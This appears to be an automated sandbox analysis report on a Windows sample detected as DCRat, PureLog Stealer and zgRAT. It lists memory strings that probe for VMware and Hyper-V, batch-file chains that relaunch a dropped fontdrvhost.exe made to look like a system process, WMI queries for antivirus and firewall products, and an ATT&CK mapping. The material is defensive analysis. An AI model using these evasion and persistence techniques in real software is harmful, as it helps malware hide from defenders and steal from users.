Source: fontdrvhost.exe, 0000001B.00000002.1998188991.000000001B434000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}D
Source: ZT3pxe2Tb4.exe, 00000000.00000002.1670366434.000000001BF57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}
Source: fontdrvhost.exe, 0000001B.00000002.2002667605.000000001C11C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllX
Source: fontdrvhost.exe, 00000033.00000002.2716698642.000000001C591000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\4
Source: fontdrvhost.exe, 00000023.00000002.2621783343.000000001B460000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY
Source: fontdrvhost.exe, 0000000E.00000002.1845478401.000000001C9DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: fontdrvhost.exe, 00000023.00000002.2663073446.000000001BA16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: ZT3pxe2Tb4.exe, 00000000.00000002.1667261412.000000001B980000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: fontdrvhost.exe, 00000023.00000002.2621783343.000000001B517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: fontdrvhost.exe, 00000022.00000002.2094701336.000000001C3C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs%SystemRoot%\system32\mswsock.dll
Source: fontdrvhost.exe, 00000008.00000002.1748627136.000000001BFA5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\DB-
Source: fontdrvhost.exe, 0000002A.00000002.2225604158.000000001CC50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: fontdrvhost.exe, 00000022.00000002.2098127256.000000001C46A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}k'V
Source: fontdrvhost.exe, 0000001B.00000002.2004925843.000000001C16D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: fontdrvhost.exe, 00000008.00000002.1701655922.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.2103740621.000000001BD11000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 00000021.00000002.1974264152.00000269B5D97000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 00000028.00000002.2060434590.0000025FD088F000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2394390360.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2239140021.0000000000885000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 00000039.00000002.2290310341.0000024AEDA09000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: fontdrvhost.exe, 00000022.00000002.2098127256.000000001C46A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\
Source: fontdrvhost.exe, 00000033.00000002.2716698642.000000001C591000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Code function: 0_2_00007FFD9BBD3600 rdtsc

0_2_00007FFD9BBD3600

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\wuC6fcDv5B.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\OwDUg2gYJx.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\s2nU7uS06N.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\ZMh4UPVO0I.bat"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat"
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\fontdrvhost.exe "C:\Users\user\AppData\Local\fontdrvhost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Queries volume information: C:\Users\user\Desktop\ZT3pxe2Tb4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Queries volume information: C:\Users\user\AppData\Local\fontdrvhost.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: fontdrvhost.exe, 00000008.00000002.1748627136.000000001BF70000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000008.00000002.1745557106.000000001B0DC000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000001B.00000002.1998188991.000000001B3E9000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000023.00000002.2653167450.000000001B950000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2103426522.0000000001896000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2698860484.000000001B70B000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2494300205.000000001B141000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2506178713.000000001BDE0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000000.00000002.1651517514.0000000013466000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZT3pxe2Tb4.exe PID: 4484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 6648, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: ZT3pxe2Tb4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ZT3pxe2Tb4.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1606720859.00000000009E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\fontdrvhost.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: ZT3pxe2Tb4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ZT3pxe2Tb4.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\fontdrvhost.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000000.00000002.1651517514.0000000013466000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZT3pxe2Tb4.exe PID: 4484, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 6648, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: ZT3pxe2Tb4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ZT3pxe2Tb4.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1606720859.00000000009E2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\fontdrvhost.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: ZT3pxe2Tb4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ZT3pxe2Tb4.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\fontdrvhost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	11 Masquerading	OS Credential Dumping	251 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scripting	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
